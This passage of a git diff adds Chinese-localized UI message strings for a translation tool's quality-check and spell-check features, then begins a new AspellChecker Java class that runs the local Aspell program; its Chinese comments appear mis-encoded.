= \u76ee\u6807\u4e0e\u6e90\u6587\u4e00\u81f4\u6027 +# net.heartsome.cat.ts.ui.qa.spellCheck, AspellChecker.java +qa.spellCheck.AspellChecker.tip1 = \u65e0\u6cd5\u542f\u52a8 ASpell\u3002\u8bf7\u786e\u8ba4\u5df2\u5b89\u88c5 ASpell\u3001\u5e76\u5df2\u6b63\u786e\u8bbe\u7f6e\u3002\u82e5\u95ee\u9898\u4ecd\u7136\u5b58\u5728\uff0c\u8bf7\u91cd\u65b0\u5b89\u88c5 Heartsome Translation Studio \u5e76\u91cd\u65b0\u8bbe\u7f6e ASpell\u3002 +qa.spellCheck.AspellChecker.log1 = [LOG] \u672a\u627e\u5230 Aspell \u7684\u914d\u7f6e\u6587\u4ef6 aspellConfigure.xml +qa.spellCheck.AspellChecker.log2 = [LOG] Aspell \u8bcd\u5178\u672a\u914d\u7f6e\u8fd0\u884c\u7a0b\u5e8f\u8def\u5f84\u6216\u672a\u914d\u7f6e\u76ee\u6807\u8bed\u8a00 \"{0}\" \u7684\u8bcd\u5178 +# net.heartsome.cat.ts.ui.qa.spellCheck, HashDictionary.java +qa.spellCheck.HashDictionary.tip1 = \u8bcd\u5178\u6587\u4ef6\u6709\u8bef\uff0c\u8bf7\u91cd\u65b0\u4e0b\u8f7d\u3002 +# net.heartsome.cat.ts.ui.qa.spellCheck, InternalSpellFilesConfiguration.java +qa.spellCheck.InternalSpellFilesConfiguration.tip1 = \u4e0d\u652f\u6301\u7684\u8bcd\u5178\u7f16\u7801\uff1a{0} +qa.spellCheck.InternalSpellFilesConfiguration.tip2 = {0}:{1} : \u7f3a\u5c11 {2} \u4fe1\u606f\uff1a{3} +qa.spellCheck.InternalSpellFilesConfiguration.tip3 = {0}:{1} : \u591a\u4f59\u7684\u4ee4\u724c\uff1a{2} +qa.spellCheck.InternalSpellFilesConfiguration.tip4 = {0}:{1} : \u91cd\u590d\u7684 TRY \u5b57\u7b26\u4e32\uff1a{2} +qa.spellCheck.InternalSpellFilesConfiguration.tip5 = {0}:{1} : \u91cd\u590d\u7684 SET \u5b57\u7b26\u4e32\uff1a{2} +qa.spellCheck.InternalSpellFilesConfiguration.tip6 = {0}:{1} : \u91cd\u590d\u7684\u590d\u5408\u6807\u5fd7\uff1a{2} +qa.spellCheck.InternalSpellFilesConfiguration.tip7 = {0}:{1} : \u91cd\u590d\u7684\u590d\u5408\u6700\u5c0f\u5b57\u7b26\u8bbe\u7f6e\uff1a{2} +qa.spellCheck.InternalSpellFilesConfiguration.tip8 = {0}:{1} : \u91cd\u590d\u7684 REP \u8868\uff1a{2} +qa.spellCheck.InternalSpellFilesConfiguration.tip9 = {0}:{1} : \u66ff\u6362\u8868\u4e2d\u7684\u6761\u76ee\u6570\u4e0d\u6b63\u786e\uff1a{2} +qa.spellCheck.InternalSpellFilesConfiguration.tip10 = {0}:{1} : \u8bfb\u53d6\u66ff\u6362\u8868\u65f6\u53d1\u73b0\u610f\u5916\u7684\u6587\u4ef6\u7ed3\u675f\u7b26\uff1a{2} +qa.spellCheck.InternalSpellFilesConfiguration.tip11 = {0}:{1} : \u66ff\u6362\u8868\u5df2\u635f\u574f\uff1a{2} +qa.spellCheck.InternalSpellFilesConfiguration.tip12 = {0}:{1} : \u7f3a\u5c11\u6a21\u5f0f/\u66ff\u6362\uff1a{2} +qa.spellCheck.InternalSpellFilesConfiguration.tip13 = {0}:{1} : \u672a\u77e5\u7684\u6807\u8bb0\uff1a{2} +qa.spellCheck.InternalSpellFilesConfiguration.tip14 = {0}:{1} : \u7f3a\u5c11 {2} \u4fe1\u606f\uff1a{3} +qa.spellCheck.InternalSpellFilesConfiguration.tip15 = {0}:{1} : \u524d\u540e\u7f00\u5b57\u7b26\u592a\u957f\uff1a{2} +qa.spellCheck.InternalSpellFilesConfiguration.tip16 = {0}:{1} : \u672a\u77e5\u7684\u590d\u5408\u6307\u793a\u7b26\u201c{2}\u201d\uff0c\u5728\uff1a{3} +qa.spellCheck.InternalSpellFilesConfiguration.tip17 = {0}:{1} : \u8bfb\u53d6 {2} \u65f6\u53d1\u73b0\u610f\u5916\u7684\u6587\u4ef6\u7ed3\u675f\u7b26\uff1a{3} +qa.spellCheck.InternalSpellFilesConfiguration.tip18 = {0}:{1} : \u6761\u76ee\u5df2\u635f\u574f\uff0c\u5e94\u8be5\u662f\u201c{2}\u201d\uff1a{3} +qa.spellCheck.InternalSpellFilesConfiguration.tip19 = {0}:{1} : \u6761\u76ee\u5df2\u635f\u574f\uff0c\u5e94\u8be5\u662f\u201c{2}\u201d\uff1a{3} +# net.heartsome.cat.ts.ui.qa.views, QAResultViewPart.java +qa.views.QAResultViewPart.columnTipLevel = \u7ea7\u522b +qa.views.QAResultViewPart.columnErrorLine = \u884c\u53f7 +qa.views.QAResultViewPart.columnQAType = \u7c7b\u578b +qa.views.QAResultViewPart.columnErrorTip = \u95ee\u9898 +qa.views.QAResultViewPart.columnFilePath = \u6587\u4ef6 +qa.views.QAResultViewPart.columnLangPair = \u8bed\u8a00\u5bf9 +qa.views.QAResultViewPart.log1 = [LOG] \u54c1\u8d28\u68c0\u67e5\u7ed3\u679c\u89c6\u56fe\u6570\u636e\u52a0\u8f7d\u5931\u8d25\uff01 +qa.views.QAResultViewPart.log2 = [LOG] \u54c1\u8d28\u68c0\u67e5\u7ed3\u679c\u89c6\u56fe\u6253\u5f00\u5931\u8d25\uff01 +# \u62fc\u5199\u68c0\u67e5\u7684\u65e5\u5fd7\u5e38\u91cf +qa.spellCheck.all.log1 = [LOG] Aspell \u62fc\u5199\u68c0\u67e5\u5668\u6570\u636e\u8bfb\u53d6\u5f02\u5e38\uff01 +qa.spellCheck.all.log2 = [LOG] Aspell \u62fc\u5199\u68c0\u67e5\u5668\u6570\u636e\u5199\u5165\u5f02\u5e38\uff01 +qa.spellCheck.all.log3 = [LOG] Aspell \u62fc\u5199\u68c0\u67e5\u5668\u6570\u636e\u8bfb\u5199\u5f02\u5e38\uff01 +qa.spellCheck.all.log4 = [LOG] \u672a\u627e\u5230\u5185\u7f6e\u8bcd\u5178\u7684\u914d\u7f6e\u6587\u4ef6 dictionaries.xml +qa.spellCheck.all.log5 = [LOG] \u5185\u7f6e\u8bcd\u5178\u672a\u914d\u7f6e\u5f53\u524d\u8bed\u8a00\u7684\u68c0\u67e5 \"{0}\" + +qa.NumberOrTagConsisQAHandler.jobTitle1 = \u6570\u5b57\u4e00\u81f4\u6027 +qa.NumberOrTagConsisQAHandler.jobTitle2 = \u6807\u8bb0\u4e00\u81f4\u6027 + +preference.EquivalentPage.title = \u52a0\u6743\u7cfb\u6570 +preference.EquivalentPage.group = \u52a0\u6743\u7cfb\u6570 +preference.EquivalentPage.equiImgLbl = \u8bbe\u7f6e\u5728\u8ba1\u7b97\u52a0\u6743\u5b57\u6570\u65f6\uff0c\u5339\u914d\u7387\u5904\u4e8e\u4e0d\u540c\u533a\u95f4\u7684\u6587\u672c\u6bb5\u5bf9\u5e94\u7684\u52a0\u6743\u7cfb\u6570\uff1a +preference.EquivalentPage.matchLbl = \u5339\u914d\u7387\uff1a +preference.EquivalentPage.interEquivLbl = \u7b49\u6548\u7cfb\u6570\uff1a +preference.EquivalentPage.msgTitle = \u63d0\u793a +preference.EquivalentPage.msg1 = \u5339\u914d\u7387\u4e0d\u80fd\u4f4e\u4e8e {0}\uff0c\u8bf7\u91cd\u65b0\u8f93\u5165\u3002 +preference.EquivalentPage.msg2 = \u5185\u90e8\u91cd\u590d +preference.EquivalentPage.msg3 = \u4e0a\u4e0b\u6587\u5339\u914d +preference.EquivalentPage.msg4 = \u5b8c\u5168\u5339\u914d +preference.EquivalentPage.msg5 = \u7b49\u6548\u7cfb\u6570\u8f93\u5165\u9519\u8bef\uff0c\u8bf7\u91cd\u65b0\u8f93\u5165\u3002\n\u7b49\u6548\u7cfb\u6570\u5e94\u4e3a 0~1.00 \u4e4b\u95f4\u7684\u6570\u5b57\uff0c\u6700\u591a\u4fdd\u7559 2 \u4f4d\u5c0f\u6570\u3002 +preference.FileAnalysisInstalPage.title = \u5b57\u6570\u5206\u6790 +preference.FileAnalysisInstalPage.faGroup = \u5b57\u6570\u5206\u6790 +preference.FileAnalysisInstalPage.faImgLbl = \u8ba1\u7b97\u6587\u672c\u6bb5\u5339\u914d\u7387\u65f6\uff1a +preference.FileAnalysisInstalPage.ignoreCaseBtn = \u5ffd\u7565\u5927\u5c0f\u5199 +preference.FileAnalysisInstalPage.ignoreTagBtn = \u5ffd\u7565\u6807\u8bb0 +preference.FileAnalysisInstalPage.minMacthLbl = \u6700\u4f4e\u5339\u914d\u7387\uff1a +preference.FileAnalysisInstalPage.contextLbl = \u4e0a\u4e0b\u6587\u6587\u672c\u6bb5\u6570\u91cf\uff1a +preference.FileAnalysisInstalPage.unitLbl = \ + +preference.FileAnalysisInstalPage.faFileGroup = \u5206\u6790\u62a5\u544a +preference.FileAnalysisInstalPage.faFileTip = \u5728\u5b57\u6570\u5206\u6790\u62a5\u544a\u4e2d\u5305\u542b\uff1a +preference.FileAnalysisInstalPage.faFileInterRepeate = \u5185\u90e8\u91cd\u590d +preference.FileAnalysisInstalPage.faFileInterMatch = \u5185\u90e8\u6a21\u7cca\u5339\u914d + +preference.NonTranslationQAPage.instalLbl = \u8bbe\u7f6e\u4e0d\u9700\u8981\u7ffb\u8bd1\u7684\u975e\u8bd1\u5143\u7d20\u5185\u5bb9\uff1a +preference.QAInstalPage.itemInstalLbl = \u9009\u62e9\u5728\u6267\u884c\u5168\u5c40\u54c1\u8d28\u68c0\u67e5\u65f6\u8981\u68c0\u67e5\u7684\u9879\u3002\n\n\u82e5\u8981\u5728\u5b8c\u6210\u7ffb\u8bd1\u6216\u6279\u51c6\u6587\u672c\u6bb5\u65f6\u81ea\u52a8\u68c0\u67e5\uff0c\u8bf7\u52fe\u9009\u76f8\u5e94\u7684\u68c0\u67e5\u9879\u540e\u9762\u7684\u201c\u81ea\u52a8\u201d\uff0c\u5e76\u9009\u62e9\u81ea\u52a8\u68c0\u67e5\u7b56\u7565\u3002\n\n\u201c\u9519\u8bef\u201d\u7ea7\u522b\u7684\u95ee\u9898\u4f1a\u5728\u81ea\u52a8 QA \u65f6\u5f39\u51fa\u63d0\u793a\u3001\u5e76\u5728\u7ed3\u679c\u4e2d\u5217\u51fa\uff1b\n\u800c\u201c\u8b66\u544a\u201d\u7ea7\u522b\u7684\u95ee\u9898\u4ec5\u4f1a\u5728\u7ed3\u679c\u4e2d\u5217\u51fa\u800c\u4e0d\u63d0\u793a\u3002\n +preference.QAPage.notIncludeLbl = \u6267\u884c\u54c1\u8d28\u68c0\u67e5\u65f6\uff0c\u5ffd\u7565\u5982\u4e0b\u6587\u672c\u6bb5\uff1a +preference.QAPage.paraConsisLbl = \u6587\u672c\u6bb5\u4e00\u81f4\u6027\u68c0\u67e5\u9009\u9879\uff1a +preference.QAPage.group = \u8bd1\u6587\u5b57\u6570\u9650\u5236 +preference.QAPage.tgtLengthSetLbl = \u8bd1\u6587\u7684\u5b57\u6570\u5141\u8bb8\u6bd4\u6e90\u6587\uff1a +preference.QAPage.minBtn = \u7f29\u77ed\uff1a +preference.QAPage.maxBtn = \u589e\u52a0\uff1a +preference.QAPage.msg1 = \u8bf7\u8f93\u5165\u8bd1\u6587\u5141\u8bb8\u7f29\u77ed\u7684\u5b57\u6570\u6bd4\u4f8b\u3002 +preference.QAPage.msg2 = \u8bd1\u6587\u5141\u8bb8\u7f29\u77ed\u7684\u5b57\u6570\u6bd4\u4f8b\u65e0\u6548\uff0c\u8bf7\u91cd\u65b0\u8f93\u5165\u3002 +preference.QAPage.msg3 = \u8bf7\u8f93\u5165\u8bd1\u6587\u5141\u8bb8\u589e\u52a0\u7684\u5b57\u6570\u6bd4\u4f8b\u3002 +preference.QAPage.msg4 = \u8bd1\u6587\u5141\u8bb8\u589e\u52a0\u7684\u5b57\u6570\u6bd4\u4f8b\u65e0\u6548\uff0c\u8bf7\u91cd\u65b0\u8f93\u5165\u3002 + +views.QAResultViewPart.deletWarnItem = \u5220\u9664\u8b66\u544a\u9879 +views.QAResultViewPart.deleteAllItem = \u6e05\u7a7a +views.QAResultViewPart.ignoreSpellItem = \u6dfb\u52a0\u5ffd\u7565...(\u672a\u5b9e\u73b0) +views.QAResultViewPart.msgTitle = \u63d0\u793a +views.QAResultViewPart.msg1 = \u5408\u5e76\u6253\u5f00\u65f6\u51fa\u9519\uff0c\u8bf7\u91cd\u8bd5\u3002 + +################################ 2012-08-29 robert \u6dfb\u52a0\uff0cEditProgressFA \u4e2d\u6f0f\u6389\u4e86\u4e00\u4e2a \u201c\u6587\u672c\u6bb5\u201d ################################ +qa.fileAnalysis.EditProgressFA.paragraph = \u6587\u672c\u6bb5 + +################################ 2012-09-28 robert \u6dfb\u52a0\uff0c\u672f\u8bed\u5e93\u4e0e\u62fc\u5199\u5b57\u5178\u672a\u8bbe\u7f6e\u65f6\u7684\u63d0\u793a ################################ +qa.TermConsistenceQA.addTip1 = \u8be5\u9879\u76ee\u672a\u8bbe\u7f6e\u672f\u8bed\u5e93\u3001\u6216\u672f\u8bed\u5e93\u65e0\u6cd5\u8fde\u63a5\uff0c\u65e0\u6cd5\u8fdb\u884c\u672f\u8bed\u4e00\u81f4\u6027\u68c0\u67e5\u3002\n\n1\u3001\u5982\u679c\u60a8\u8981\u8fdb\u884c\u672f\u8bed\u4e00\u81f4\u6027\u68c0\u67e5\uff0c\u8bf7\u5148\u70b9\u51fb\u201c\u53d6\u6d88\u201d\u6309\u94ae\uff0c\u5e76\u786e\u8ba4\u5728\u9879\u76ee > \u9879\u76ee\u8bbe\u7f6e > \u672f\u8bed\u5e93\u4e2d\u8bbe\u7f6e\u672f\u8bed\u5e93\u3001\u4e14\u8be5\u672f\u8bed\u5e93\u53ef\u88ab\u6b63\u5e38\u8bbf\u95ee\uff0c\u7136\u540e\u518d\u91cd\u8bd5\uff1b\n2\u3001\u5982\u679c\u60a8\u53ea\u662f\u672c\u6b21\u4e0d\u6253\u7b97\u8fdb\u884c\u672f\u8bed\u4e00\u81f4\u6027\u68c0\u67e5\uff0c\u8bf7\u70b9\u51fb\u201c\u786e\u5b9a\u201d\u6309\u94ae\uff0c\u7ee7\u7eed\u6267\u884c\u5176\u4ed6\u54c1\u8d28\u68c0\u67e5\uff1b\n3\u3001\u5982\u679c\u60a8\u4ee5\u540e\u4e5f\u4e0d\u6253\u7b97\u8fdb\u884c\u672f\u8bed\u4e00\u81f4\u6027\u68c0\u67e5\u6216\u4e0d\u60f3\u770b\u5230\u6b64\u63d0\u793a\uff0c\u8bf7\u5148\u70b9\u51fb\u786e\u5b9a\u6216\u53d6\u6d88\uff0c\u7136\u540e\u5728\u5de5\u5177 > \u9009\u9879 > \u54c1\u8d28\u68c0\u67e5\u4e2d\uff0c\u53d6\u6d88\u9009\u4e2d\u672f\u8bed\u4e00\u81f4\u6027\u68c0\u67e5\u540e\u7684\u201c\u81ea\u52a8\u201d\u3002\n\n\u786e\u5b9a\u8981\u8df3\u8fc7\u672f\u8bed\u4e00\u81f4\u6027\u68c0\u67e5\u5e76\u7ee7\u7eed\u5417\uff1f +qa.SpellQA.addTip1 = \u76ee\u6807\u8bed\u8a00 {0} \u672a\u8bbe\u7f6e\u62fc\u5199\u68c0\u67e5\u8bcd\u5178\uff0c\u65e0\u6cd5\u8fdb\u884c\u62fc\u5199\u68c0\u67e5\u3002\n\n1\u3001\u5982\u679c\u60a8\u8981\u8fdb\u884c\u62fc\u5199\u68c0\u67e5\uff0c\u8bf7\u5148\u70b9\u51fb\u53d6\u6d88\u6309\u94ae\uff0c\u7136\u540e\u5728\u5de5\u5177 > \u9009\u9879 > \u54c1\u8d28\u68c0\u67e5 > \u62fc\u5199\u68c0\u67e5\u5668 > Aspell \u8fdb\u884c\u8bbe\u7f6e\u540e\u91cd\u8bd5\uff1b\n2\u3001\u5982\u679c\u60a8\u53ea\u662f\u672c\u6b21\u4e0d\u6253\u7b97\u8fdb\u884c\u62fc\u5199\u68c0\u67e5\uff0c\u8bf7\u70b9\u51fb\u786e\u5b9a\u6309\u94ae\uff0c\u7ee7\u7eed\u6267\u884c\u5176\u4ed6\u54c1\u8d28\u68c0\u67e5\uff1b\n3\u3001\u5982\u679c\u60a8\u4ee5\u540e\u4e5f\u4e0d\u6253\u7b97\u8fdb\u884c\u62fc\u5199\u68c0\u67e5\u6216\u4e0d\u60f3\u770b\u5230\u6b64\u63d0\u793a\uff0c\u8bf7\u5148\u70b9\u51fb\u786e\u5b9a\u6216\u53d6\u6d88\uff0c\u7136\u540e\u5728\u5de5\u5177 > \u9009\u9879 > \u54c1\u8d28\u68c0\u67e5\u4e2d\uff0c\u53d6\u6d88\u9009\u4e2d\u62fc\u5199\u68c0\u67e5\u3002\n\n\u786e\u5b9a\u8981\u8df3\u8fc7\u62fc\u5199\u68c0\u67e5\u5e76\u7ee7\u7eed\u5417\uff1f +qa.TagConsistenceQA.addTip1 = \u8bd1\u6587\u4e2d\u591a\u51fa\u5982\u4e0b\u6807\u8bb0 {0}\u3002 +qa.TagConsistenceQA.addName1 = \u6807\u8bb0\u591a\u4f59 + +################################ 2012-10\uff0d16 ################################ +qa.FileAnalysisDialog.WordsFaTitle = \u5b57\u6570\u5206\u6790 +qa.FileAnalysisDialog.WordsFaMsg = \u5206\u6790\u9009\u4e2d\u6587\u4ef6\u7684\u6e90\u6587\u5b57\u6570 +qa.FileAnalysisDialog.TransPTitle = \u7ffb\u8bd1\u8fdb\u5ea6\u5206\u6790 +qa.FileAnalysisDialog.TransPMsg = \u5206\u6790\u9009\u4e2d\u6587\u4ef6\u7684\u7ffb\u8bd1\u8fdb\u5ea6 +qa.FileAnalysisDialog.EditPTitle = \u6279\u51c6\u8fdb\u5ea6\u5206\u6790 +qa.FileAnalysisDialog.EditPMsg = \u5206\u6790\u9009\u4e2d\u6587\u4ef6\u7684\u6279\u51c6\u8fdb\u5ea6 +qa.BatchQADialog.desc = \u5bf9\u9009\u4e2d\u7684\u6587\u4ef6\u8fdb\u884c\u54c1\u8d28\u68c0\u67e5\u3002 + +################################ 2012-10-18 ################################ +dialog.TargetLengthSettingDialog.msgTitle = \u63d0\u793a + +################################ 2012-10-19 robert \u6dfb\u52a0 ################################ +qa.views.QAResultViewPart.addTip1 = \u54c1\u8d28\u68c0\u67e5\u5904\u7406\u7684\u6587\u4ef6\u4e2d\u5982\u4e0b\u6587\u4ef6:\n{0}\u5df2\u7ecf\u88ab\u6253\u5f00\uff0c\u65e0\u6cd5\u5408\u5e76\u6253\u5f00\uff0c\u8bf7\u5148\u5173\u95ed\u8fd9\u4e9b\u6587\u4ef6\u518d\u91cd\u8bd5\u3002 +qa.views.QAResultViewPart.addTip2 = \u6587\u4ef6 {0} \u5df2\u7ecf\u88ab\u5408\u5e76\u6253\u5f00\uff0c\u65e0\u6cd5\u518d\u6b21\u6253\u5f00\uff0c\u8bf7\u5148\u5173\u95ed\u540e\u91cd\u8bd5\u3002 +################################ 2012-11-09 robert \u6dfb\u52a0 ################################ +qa.fa.info.tm = \u8bb0\u5fc6\u5e93\uff1a +qa.fa.info.newWordMatch = \u6700\u4f4e\u5339\u914d\u7387\uff1a +qa.fa.info.fileSum = \u5206\u6790\u6587\u4ef6\u603b\u6570\uff1a +qa.fa.info.errorFiles = \u5206\u6790\u5931\u8d25\u6587\u4ef6\uff1a +qa.fa.info.createTime = \u62a5\u544a\u751f\u6210\u65f6\u95f4\uff1a + +preference.FileAnalysisInstalPage.tagPenalty = \u6807\u8bb0\u4e0d\u4e00\u81f4\u7f5a\u5206\uff1a + +################################ 2013-01-30 robert \u6dfb\u52a0\u62fc\u5199\u68c0\u67e5\u7c7b ################################ +qa.preference.SpellPage.groupSpellCheck = \u62fc\u5199\u68c0\u67e5\u5668 +qa.preference.SpellPage.imageLabel2 = \u6267\u884c\u54c1\u8d28\u68c0\u67e5\u65f6\uff0c\u4f7f\u7528\u5982\u4e0b\u62fc\u5199\u68c0\u67e5\u5668\uff1a +qa.preference.SpellPage.aspellBtn = Aspell +qa.preference.SpellPage.hunspellBtn = \u5185\u7f6e Hunspell \u62fc\u5199\u68c0\u67e5\u5668 + +qa.preference.SpellPage.realTimeSpellBtn = \u5b9e\u65f6\u62fc\u5199\u68c0\u67e5 +qa.preference.SpellPage.hunspellTab = \u5185\u7f6e Hunspell +qa.preference.SpellPage.aspellTab = Aspell +qa.preference.SpellPage.hunspellTab.label = \u5185\u7f6e\u62fc\u5199\u68c0\u67e5\u5668\u5ffd\u7565\u5982\u4e0b\u5185\u5bb9\uff1a +qa.preference.SpellPage.ignoreNontransBtn = \u975e\u8bd1\u5143\u7d20 +qa.preference.SpellPage.ignoreDigitalFirstBtn = \u9996\u5b57\u6bcd\u4e3a\u6570\u5b57\u7684\u5355\u8bcd +qa.preference.SpellPage.ignoreUpperCaseFirstBtn = \u9996\u5b57\u6bcd\u4e3a\u5927\u5199\u7684\u5355\u8bcd +qa.preference.SpellPage.ignoreAllUpperBtn = \u5168\u5927\u5199\u5355\u8bcd +qa.preference.SpellPage.aspellLogCheck = Aspell \u914d\u7f6e\u6587\u4ef6\u5df2\u635f\u574f\uff0c\u662f\u5426\u91cd\u65b0\u751f\u6210\uff1f + +qa.preference.SpellPage.title = Aspell \u62fc\u5199\u68c0\u67e5\u5668 +qa.preference.SpellPage.groupParent = Aspell \u62fc\u5199\u68c0\u67e5\u5668 +qa.preference.SpellPage.imageLabel = \u8bbe\u7f6e Aspell \u7a0b\u5e8f\u7684\u8def\u5f84\uff0c\u5e76\u6dfb\u52a0\u8bed\u8a00\u4e0e\u8bcd\u5178\u7684\u914d\u5bf9\uff1a +qa.preference.SpellPage.lblPath = \u8def\u5f84\uff1a +qa.preference.SpellPage.btnBrowse = \u6d4f\u89c8(&B)... +qa.preference.SpellPage.btnUTF8 = \u4f7f\u7528 UTF-8 +qa.preference.SpellPage.lblDic = \u8bcd\u5178\uff1a +qa.preference.SpellPage.btnRefresh = \u5237\u65b0(&F) +qa.preference.SpellPage.lblLang = \u8bed\u8a00\uff1a +qa.preference.SpellPage.btnAdd = \u6dfb\u52a0(&A) +qa.preference.SpellPage.btnRemove = \u79fb\u9664(&R) +qa.preference.SpellPage.arrTableHeader1 = \u8bed\u8a00 +qa.preference.SpellPage.arrTableHeader2 = \u8bcd\u5178 +qa.preference.SpellPage.btnBrowse.Title = \u9009\u62e9 Aspell \u7a0b\u5e8f +qa.preference.SpellPage.msg1 = \u8bf7\u9009\u62e9\u8981\u79fb\u9664\u7684\u8bed\u8a00\u4e0e\u8bcd\u5178\u914d\u5bf9\u3002 +qa.preference.SpellPage.msg2 = \u6587\u4ef6\u8bfb\u53d6\u9519\u8bef\uff0c\u8bf7\u91cd\u8bd5\u3002 + +qa.preference.SpellPage.LOG1 = [LOG] \u83b7\u53d6\u63d2\u4ef6\u8def\u5f84\u51fa\u9519 +qa.preference.SpellPage.LOG2 = [LOG] \u521b\u5efa aspellConfigure.xml \u6587\u4ef6\u5931\u8d25 +qa.preference.SpellPage.LOG3 = \u6587\u4ef6\u8bfb\u53d6\u9519\u8bef\uff0c\u8bf7\u91cd\u8bd5\u3002 +qa.preference.SpellPage.LOG4 = [LOG] \u89e3\u6790 Aspell \u914d\u7f6e\u6587\u4ef6 \u201caspellConfigure.xml\u201d \u6587\u4ef6\u5931\u8d25\u3002 +qa.preference.SpellPage.LOG5 = [LOG] \u5199\u5165 Aspell \u914d\u7f6e\u6587\u4ef6 \u201caspellConfigure.xml\u201d \u5931\u8d25\u3002 +qa.preference.SpellPage.LOG6 = [LOG] Aspell \u914d\u7f6e\u6587\u4ef6 \u201caspellConfigure.xml\u201d \u5220\u9664\u5185\u5bb9\u5931\u8d25\u3002 + +################################ 2013-02-2 robert \u6dfb\u52a0 qa.spell.Hunspell ################################ +qa.spell.hunspell.notFindHunpsellConfigTip= \u65e0\u6cd5\u627e\u5230\u5185\u7f6e\u62fc\u5199\u68c0\u67e5\u5668\u7684\u914d\u7f6e\u6587\u4ef6\uff0c\u62fc\u5199\u68c0\u67e5\u65e0\u6cd5\u6267\u884c\u3002\u8bf7\u91cd\u65b0\u5b89\u88c5\u672c\u8f6f\u4ef6\u3002 +qa.spell.hunspell.hunspellConfigErrorTip= \u5185\u7f6e\u62fc\u5199\u68c0\u67e5\u5668\u7684\u914d\u7f6e\u6587\u4ef6\u635f\u574f\u3002\u8bf7\u91cd\u65b0\u5b89\u88c5\u8f6f\u4ef6\u3002 +qa.spell.hunspell.notFindHunspellLibTip= \u65e0\u6cd5\u627e\u5230 Hunspell \u7684\u8fd0\u884c\u5e93\u6587\u4ef6 \u201c{0}\u201d\u3002\u8bf7\u5c1d\u8bd5\u91cd\u65b0\u8fd0\u884c\u8f6f\u4ef6\uff0c\u82e5\u6b64\u95ee\u9898\u4ecd\u7136\u5b58\u5728\uff0c\u8bf7\u91cd\u65b0\u5b89\u88c5\u672c\u8f6f\u4ef6\u3002 +qa.spell.hunspell.notFindDictionaryTip= \u8bed\u8a00 \u201c{0}\u201d \u8bcd\u5178\u6587\u4ef6\u4e0d\u5b58\u5728\u3002\u8bf7\u5c1d\u8bd5\u91cd\u65b0\u8fd0\u884c\u8f6f\u4ef6\uff0c\u82e5\u6b64\u95ee\u9898\u4ecd\u7136\u5b58\u5728\uff0c\u8bf7\u91cd\u65b0\u5b89\u88c5\u672c\u8f6f\u4ef6\u3002 +qa.spell.hunspell.dicReadErrorTip= \u65e0\u6cd5\u8bfb\u53d6\u8bed\u8a00 \u201c{0}\u201d \u7684\u8bcd\u5178\u6587\u4ef6\u3002\u8bf7\u5c1d\u8bd5\u91cd\u65b0\u8fd0\u884c\u8f6f\u4ef6\uff0c\u82e5\u6b64\u95ee\u9898\u4ecd\u7136\u5b58\u5728\uff0c\u8bf7\u91cd\u65b0\u5b89\u88c5\u672c\u8f6f\u4ef6\u3002 + +qa.spell.hunspell.LOG.copyError= [LOG]\u590d\u5236\u8bed\u8a00\u6587\u4ef6\u81f3\u5de5\u4f5c\u7a7a\u95f4\u65f6\u51fa\u9519\u3002 + + + diff --git a/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/spell/AspellChecker.java b/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/spell/AspellChecker.java new file mode 100644 index 0000000..e440a24 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/spell/AspellChecker.java @@ -0,0 +1,373 @@ +package net.heartsome.cat.ts.ui.qa.spell; + +import java.io.BufferedReader; +import java.io.BufferedWriter; +import java.io.File; +import java.io.IOException; +import java.io.InputStreamReader; +import java.io.OutputStreamWriter; +import java.util.HashMap; +import java.util.LinkedList; +import java.util.List; +import java.util.Map; +import java.util.StringTokenizer; + +import net.heartsome.cat.ts.core.bean.SingleWord; +import net.heartsome.cat.ts.core.qa.QAConstant; +import net.heartsome.cat.ts.ui.qa.resource.Messages; +import net.heartsome.cat.ts.ui.qa.spell.inter.HSSpellChecker; + +import org.eclipse.core.resources.IWorkspaceRoot; +import org.eclipse.core.resources.ResourcesPlugin; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.swt.SWT; +import org.eclipse.swt.widgets.Display; +import org.eclipse.swt.widgets.MessageBox; +import org.eclipse.swt.widgets.Shell; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +/** + * Aspellæ‹¼å†™æ£€æŸ¥å“ + * @author robert 2012-02-07 + * @version + * @since JDK1.6 + */ +public class AspellChecker implements HSSpellChecker { + + private Shell shell; + /** aspell è¿è¡Œè·¯å¾„ */ + private String command; + + private BufferedReader spellReader; + private BufferedWriter spellWriter; + private String response; + private Process spellProcess; + + private List errorWords = new LinkedList(); + + static String spellCheckLinePrefix = "^"; + Runtime runtime; + + private static IWorkspaceRoot root; + private AspellConfig aspellConfig; + private boolean isError = false; + /** aspell è¿è¡Œé çš„是输入命令,因此这里é¢ä¿å­˜çš„是命令行代ç ï¼Œkey 为 lang */ + private Map commandLineMap; + + private List tagPositionList; + private List wordList; + + public final static Logger logger = LoggerFactory.getLogger(AspellChecker.class.getName()); + + // UNDO 今天å‘现 aspell 拼写检查器é…置失败时,程åºçš„æ示框有问题,是线程异常的问题,应该改正。 --robert 2012-07-23 + public AspellChecker () { + runtime = Runtime.getRuntime(); + root = ResourcesPlugin.getWorkspace().getRoot(); + + String aspellConfigFile = root.getLocation().append(QAConstant.QA_SPELL_ASPELLCONFIGFILE).toOSString(); + if (!new File(aspellConfigFile).exists()) { + logger.error(Messages.getString("qa.spellCheck.AspellChecker.log1")); + }else { + aspellConfig = new AspellConfig( aspellConfigFile); + commandLineMap = new HashMap(); + command = aspellConfig.getCommand(); + + //如果路径与语言都没有é…置,那么,Aspell都ä¸å¯ç”¨ï¼Œä¸ºç©º +// if (("".equals(command) || "".equals(defaultDictionary) || defaultDictionary == null) && !isSpellNull) { +// isSpellNull = true; +// logger.error(Messages.getString(MessageFormat.format( +// Messages.getString("qa.spellCheck.AspellChecker.log2"), target_lan))); +// } + + //如果路径与语言都没有é…置,那么,Aspell都ä¸å¯ç”¨ï¼Œä¸ºç©º + if ("".equals(command)) { + logger.error(Messages.getString(Messages.getString("qa.spellCheck.AspellChecker.log2"))); + } + } + } + + public List getErrorWords(String pureText, List wordList, String language) { + this.wordList = wordList; + errorWords.clear(); + + if (!commandLineMap.containsKey(language)) { + createCommandLine(language); + } + String commandLine = commandLineMap.get(language); + // commandLine = /usr/bin/aspell --encoding=utf-8 -a --lang=en-US --master=en_US + // /usr/bin/aspell --encoding=utf-8 -a --lang=en-US --master=en_US +// System.out.println("commandLine = " + commandLine); + + 